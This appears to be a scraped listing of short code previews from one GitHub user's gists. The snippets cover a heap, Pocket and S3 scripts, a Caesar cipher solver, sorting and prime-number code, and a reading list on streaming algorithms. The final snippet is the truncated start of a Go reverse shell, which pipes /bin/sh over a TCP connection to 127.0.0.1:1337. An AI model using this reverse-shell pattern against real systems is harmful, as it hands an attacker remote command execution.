jasonrdsouza

class Heap:
    def __init__(self):
        self.data = []
        self.length = 0

    def push(self, val):
        if len(self.data) <= self.length: # need to expand the array
            self.data.append(val)
        else:
            self.data[self.length] = val

jasonrdsouza

'''This script can be used to export data from Pocket (getpocket.com)
Uses include migrating to a different "read it later" service, saving
specific articles to another service, backing up your reading history,
and more.

Currently it can be used to export links and metadata for archived
articles with a given tag, which are more recent than a given timestamp.

An example use case is to export all articles you have tagged as
"to-export", which are newer than 10 days old. The timestamp functionality

jasonrdsouza

'''
This script performs efficient concatenation of files stored in S3. Given a
folder, output location, and optional suffix, all files with the given suffix
will be concatenated into one file stored in the output location.

Concatenation is performed within S3 when possible, falling back to local
operations when necessary.

Run `python combineS3Files.py -h` for more info.
'''

jasonrdsouza

"""
Code to crack Google Security Key Challenge #3
Accompanying blog post: http://www.jasondsouza.org/post/caesar-cipher-decryption/
@author: Jason Dsouza
"""

from string import punctuation

ALPHABET = "abcdefghijklmnopqrstuvwxyz"
KEY_SPACE = len(ALPHABET)

jasonrdsouza

1. General Background and Overview

• Probabilistic Data Structures for Web Analytics and Data Mining : A great overview of the space of probabilistic data structures and how they are used in approximation algorithm implementation.
• Models and Issues in Data Stream Systems
• Philippe Flajolet’s contribution to streaming algorithms : A presentation by Jérémie Lumbroso that visits some of the hostorical perspectives and how it all began with Flajolet
• Approximate Frequency Counts over Data Streams by Gurmeet Singh Manku & Rajeev Motwani : One of the early papers on the subject.
• [Methods for Finding Frequent Items in Data Streams](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.187.9800&rep

jasonrdsouza

from queue import PriorityQueue
from collections import Counter
from dataclasses import dataclass, field
from typing import Any


@dataclass(order=True)
class Node:
    count: int
    value: Any=field(compare=False)

jasonrdsouza

// Code accompanying blog post: http://www.jasondsouza.org/post/sorting/
//
// Package sorts provides implementations of various comparison based sorting algorithms.
// All the sorts work in place, and expect the input data to satisfy the
// sort.Interface interface from the standard library.
// In addition to the collection data to be sorted, they take a start and end index
// (a and b respectively), which cause the slice [a, b) of the collection to be
// sorted. Specifying a = 0 and b = len(collection) will sort the entire collection.
package sorts

jasonrdsouza

### Various function implementations to calculate a list of prime numbers

def naive_primes(n):
    """Naively find all prime numbers up to n"""
    primes = []
    if n < 2:
        # 1 is not a prime number
        return primes
    for i in xrange(2,n):
        is_prime = True

jasonrdsouza

TEST_ARRAY1 = [2,5,1,3,4]

def bubblesort(unordered_list):
    """
    Bubble the largest element to the right

    Complexity:
    - Best Case = O(n)
    - Worst Case = O(n^2)
    """

jasonrdsouza

package main

import "os/exec"
import "net"

func main() {
	c, _ := net.Dial("tcp", "127.0.0.1:1337")
	cmd := exec.Command("/bin/sh")
	cmd.Stdin = c
	cmd.Stdout = c